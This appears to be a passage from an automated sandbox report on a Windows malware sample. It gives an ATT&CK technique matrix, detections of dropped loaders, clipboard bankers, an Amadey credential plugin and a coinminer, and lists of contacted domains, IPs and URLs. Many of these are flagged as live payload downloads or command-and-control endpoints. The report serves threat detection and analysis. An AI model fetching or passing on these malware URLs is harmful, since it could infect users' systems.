Default Accounts	1 Native API	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Deobfuscate/Decode Files or Information	1 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Exploitation for Client Execution	1 Services File Permissions Weakness	11 Registry Run Keys / Startup Folder	31 Obfuscated Files or Information	1 Credentials in Registry	45 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 Command and Scripting Interpreter	Logon Script (Mac)	1 Services File Permissions Weakness	22 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Scheduled Transfer	5 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	441 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	126 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	412 Process Injection	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Services File Permissions Weakness	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
01860199.exe	38%	ReversingLabs
01860199.exe	38%	Virustotal	Browse
01860199.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll	100%	Avira	HEUR/AGEN.1301090
C:\Users\user\AppData\Local\Temp\9F31.exe	100%	Avira	HEUR/AGEN.1357339
C:\Users\user\AppData\Local\Temp\5DA0.exe	100%	Avira	HEUR/AGEN.1357339
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe	100%	Avira	TR/Crypt.XPACK.Gen8
C:\Users\user\AppData\Local\Temp\6FA9.exe	100%	Avira	HEUR/AGEN.1357339
C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	100%	Avira	TR/Crypt.XPACK.Gen8
C:\Users\user\AppData\Local\Temp\3C54.exe	100%	Avira	HEUR/AGEN.1357339
C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	100%	Avira	HEUR/AGEN.1319380
C:\Users\user\AppData\Local\Temp\D804.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\57DC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9F31.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B46F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5DA0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A3D5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BC2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D689.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EA44.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\388B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CBE6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C861.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\673.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A170.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3E02.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6FA9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B8C8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F4F7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3C54.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\913F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	87%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	88%	ReversingLabs	Win32.Trojan.ClipBanker
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build2[1].exe	87%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe	88%	ReversingLabs	Win32.Trojan.ClipBanker
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll	83%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\3C54.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\57DC.exe	43%	ReversingLabs
C:\Users\user\AppData\Local\Temp\5DA0.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\6FA9.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	88%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Temp\913F.exe	71%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\9F31.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\A170.exe	71%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\A3D5.exe	71%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\B8C8.exe	71%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\D689.exe	71%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\NewPlayer.exe	88%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Temp\XandETC.exe	73%	ReversingLabs	Win64.Coinminer.Xmrig
C:\Users\user\AppData\Local\Temp\aafg31.exe	33%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll	83%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	88%	ReversingLabs	Win32.Trojan.ClipBanker
C:\Users\user\AppData\Roaming\hwgujdv	38%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
toobussy.com	3%	Virustotal	Browse
colisumy.com	24%	Virustotal	Browse
potunulit.org	22%	Virustotal	Browse
jp.imgjeoighw.com	19%	Virustotal	Browse
speedlab.com.eg	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://potunulit.org/	0%	URL Reputation	safe
http://jp.imgjeoighw.com/sts/image.jpg	0%	URL Reputation	safe
http://ss.apjeoighw.com/	0%	URL Reputation	safe
http://zexeq.com/raud/get.php	100%	URL Reputation	malware
http://kingpirate.ru/tmp/	0%	URL Reputation	safe
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	0%	URL Reputation	safe
http://45.9.74.80/power.exe	100%	URL Reputation	malware
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	0%	URL Reputation	safe
http://zexeq.com/files/1/build3.exe$run	100%	URL Reputation	malware
http://ss.apjeoighw.com/check/safe	0%	URL Reputation	safe
http://colisumy.com/dl/build2.exe	100%	URL Reputation	malware
https://freebl3.dllmozglue.dllmsvcp140.dllnss3.dllsoftokn3.dllvcruntime140.dll	0%	URL Reputation	safe
http://www.wikipedia.com/	0%	URL Reputation	safe
http://zexeq.com/files/1/build3.exe	0%	URL Reputation	safe
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C&first=trueQ58	100%	Avira URL Cloud	malware
https://we.tl/t-tnzomMj6	0%	Avira URL Cloud	safe
http://ss.apjeoighw.com/check/safe3	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exel	100%	Avira URL Cloud	malware
http://colisumy.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
45.9.74.80/0bjdn2Z/index.php	100%	Avira URL Cloud	malware
http://colisumy.com/dl/build2.exerun3	100%	Avira URL Cloud	malware
https://shsplatform.co.uk/tmp/index.php	100%	Avira URL Cloud	malware
http://45.9.74.80/0bjdn2Z/Plugins/clip64.dll	100%	Avira URL Cloud	malware
http://188.34.154.187:30303/addon.zip	0%	Avira URL Cloud	safe
http://45.9.74.80/0bjdn2Z/Plugins/cred64.dll	100%	Avira URL Cloud	malware
http://ss.apjeoighw.com/check/safe)	0%	Avira URL Cloud	safe
http://194.180.48.90/cc.exe	0%	Avira URL Cloud	safe
http://ss.apjeoighw.com:80/check/safe	0%	Avira URL Cloud	safe
https://speedlab.com.eg/tmp/index.php	0%	Avira URL Cloud	safe
http://ss.apjeoighw.com/check/safe1B	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe$runZT	100%	Avira URL Cloud	malware
http://toobussy.com/	0%	Avira URL Cloud	safe
http://jp.imgjeoighw.com/sts/image.jpgO	100%	Avira URL Cloud	malware
http://ss.apjeoighw.com/check/?sid=436160&key=a96ab7e5e6412d32675599dfaebc13f6	0%	Avira URL Cloud	safe
http://zexeq.com/raud/get.phpep	100%	Avira URL Cloud	malware
http://wuc11.com/tmp/	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://ss.apjeoighw.com/blob:	0%	Avira URL Cloud	safe
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C	100%	Avira URL Cloud	malware
http://188.34.154.187:30303/	0%	Avira URL Cloud	safe
http://ss.apjeoighw.com/check/?sid=436336&key=3f9d01718af2d5daf3c654f2052d5bc7	0%	Avira URL Cloud	safe
http://45.9.74.80/0bjdn2Z/index.php	100%	Avira URL Cloud	malware
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F011280Nkx%	100%	Avira URL Cloud	malware
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C&first=true	100%	Avira URL Cloud	malware
http://colisumy.com/dl/build.exe	100%	Avira URL Cloud	malware
http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0	100%	Avira URL Cloud	malware
http://188.34.154.187:30303/e44c96dfdf315ccf17cdd4b93cfe6e48	0%	Avira URL Cloud	safe
http://ss.apjeoighw.com/check/?sid=436234&key=2cef0d99b721939135d08fea0dcaba52	0%	Avira URL Cloud	safe
http://toobussy.com/tmp/	100%	Avira URL Cloud	malware
http://ss.apjeoighw.com:80/check/?sid=436234&key=2cef0d99b721939135d08fea0dcaba52G_	0%	Avira URL Cloud	safe
http://45.9.74.80/0bjdn2Z/index.php?scr=1	100%	Avira URL Cloud	malware
http://ladogatur.ru/tmp/	0%	Avira URL Cloud	safe
https://we.tl/t-tnzomMj6HU	0%	Avira URL Cloud	safe
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806Cg	100%	Avira URL Cloud	malware
http://zexeq.com/files/1/build3.exerunb10	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
toobussy.com	222.236.49.123	true	true	3%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.9.35	true	false		high
star.c10r.facebook.com	157.240.17.17	true	false		high
colisumy.com	211.119.84.112	true	true	24%, Virustotal, Browse	unknown
potunulit.org	188.114.97.7	true	true	22%, Virustotal, Browse	unknown
jp.imgjeoighw.com	103.100.211.218	true	true	19%, Virustotal, Browse	unknown
speedlab.com.eg	217.174.148.28	true	true	1%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	false		high
ss.apjeoighw.com	154.221.31.191	true	false		unknown
api.2ip.ua	162.0.217.254	true	false		high
shsplatform.co.uk	80.66.203.53	true	true		unknown
zexeq.com	175.119.10.231	true	true		unknown
www.facebook.com	unknown	unknown	false		high
adsmanager.facebook.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://potunulit.org/	true	URL Reputation: safe	unknown
https://shsplatform.co.uk/tmp/index.php	true	Avira URL Cloud: malware	unknown
http://jp.imgjeoighw.com/sts/image.jpg	true	URL Reputation: safe	unknown
http://45.9.74.80/0bjdn2Z/Plugins/cred64.dll	true	Avira URL Cloud: malware	unknown
http://zexeq.com/raud/get.php	true	URL Reputation: malware	unknown
45.9.74.80/0bjdn2Z/index.php	true	Avira URL Cloud: malware	low
https://steamcommunity.com/profiles/76561199508624021	false		high
http://188.34.154.187:30303/addon.zip	false	Avira URL Cloud: safe	unknown
http://45.9.74.80/0bjdn2Z/Plugins/clip64.dll	true	Avira URL Cloud: malware	unknown
http://kingpirate.ru/tmp/	true	URL Reputation: safe	unknown
http://194.180.48.90/cc.exe	true	Avira URL Cloud: safe	unknown
https://speedlab.com.eg/tmp/index.php	true	Avira URL Cloud: safe	unknown
https://adsmanager.facebook.com/ads/manager/account_settings/account_billing/	false		high
http://45.9.74.80/power.exe	true	URL Reputation: malware	unknown
https://t.me/looking_glassbot	false		high
http://ss.apjeoighw.com/check/?sid=436160&key=a96ab7e5e6412d32675599dfaebc13f6	false	Avira URL Cloud: safe	unknown
http://wuc11.com/tmp/	true	Avira URL Cloud: safe	unknown
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C	true	Avira URL Cloud: malware	unknown
http://188.34.154.187:30303/	false	Avira URL Cloud: safe	unknown
http://45.9.74.80/0bjdn2Z/index.php	true	Avira URL Cloud: malware	unknown
http://ss.apjeoighw.com/check/?sid=436336&key=3f9d01718af2d5daf3c654f2052d5bc7	false	Avira URL Cloud: safe	unknown
http://colisumy.com/dl/build.exe	true	Avira URL Cloud: malware	unknown
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C&first=true	true	Avira URL Cloud: malware	unknown
http://ss.apjeoighw.com/check/safe	false	URL Reputation: safe	unknown
http://colisumy.com/dl/build2.exe	true	URL Reputation: malware	unknown
https://api.2ip.ua/geo.json	false		high
http://188.34.154.187:30303/e44c96dfdf315ccf17cdd4b93cfe6e48	false	Avira URL Cloud: safe	unknown
http://ss.apjeoighw.com/check/?sid=436234&key=2cef0d99b721939135d08fea0dcaba52	false	Avira URL Cloud: safe	unknown
http://45.9.74.80/0bjdn2Z/index.php?scr=1	true	Avira URL Cloud: malware	unknown
http://toobussy.com/tmp/	true	Avira URL Cloud: malware	unknown
http://ladogatur.ru/tmp/	true	Avira URL Cloud: safe	unknown
https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F	false		high
http://zexeq.com/files/1/build3.exe	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://static.xx.fbcdn.net/rsrc.php/v3/y-/l/0	aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yt/r/v75M7CPu9-P.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199508624021update.zipopenopen_NULL%s	build2.exe, 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp	false		high
https://messenger.com/	aafg31.exe, 00000015.00000003.616407141.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616875927.000001E2922D3000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exel	D804.exe, 00000013.00000002.636070288.000000000320F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://static.xx.fbcdn.net/rsrc.php/v3/yL/r/camCPYrr6r7.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.616407141.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617256768.000001E292290000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.536338668.000001E292285000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616875927.000001E2922D3000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922D6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.536309898.000001E292289000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617144495.000001E292287000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://colisumy.com/dl/build2.exe$run	D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ss.apjeoighw.com/	aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://colisumy.com/dl/build2.exerun3	D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://t.me/looking_glassbotlookataddon.zipMozilla/5.0	build2.exe, 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp	false		high
https://we.tl/t-tnzomMj6	D804.exe, 00000013.00000002.619178225.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.reddit.com/	D804.exe, 00000013.00000003.475323189.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonyY&$	D804.exe, 00000010.00000002.619429561.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/u	D804.exe, 00000013.00000003.452681314.0000000000647000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ss.apjeoighw.com/check/safe3	aafg31.exe, 00000015.00000002.642437211.000001E292275000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C&first=trueQ58	D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://static.xx.fbcdn.net/rsrc.php/v3/y2/l/0	aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonV	D804.exe, 00000013.00000002.619178225.00000000005F7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0	aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	explorer.exe, 00000001.00000000.378821866.00007FFC1B439000.00000002.00000001.01000000.00000005.sdmp	false	URL Reputation: safe	unknown
http://ss.apjeoighw.com/check/safe)	aafg31.exe, 00000015.00000002.642437211.000001E292275000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ss.apjeoighw.com:80/check/safe	aafg31.exe, 00000015.00000003.539647639.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.xx.fbcdn.net/rsrc.php/v3/yO/r/_tJ17sGyxOX.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ss.apjeoighw.com/check/safe1B	aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonG.S	D804.exe, 00000006.00000002.450438133.0000000000707000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exe$runZT	D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://zexeq.com/raud/get.phpep	D804.exe, 00000010.00000002.619429561.0000000000808000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.2ip.ua/?	D804.exe, 00000013.00000003.452681314.0000000000647000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.youtube.com/	D804.exe, 00000013.00000003.475594980.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json1	A170.exe, 0000001D.00000002.490407985.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yB/l/0	aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
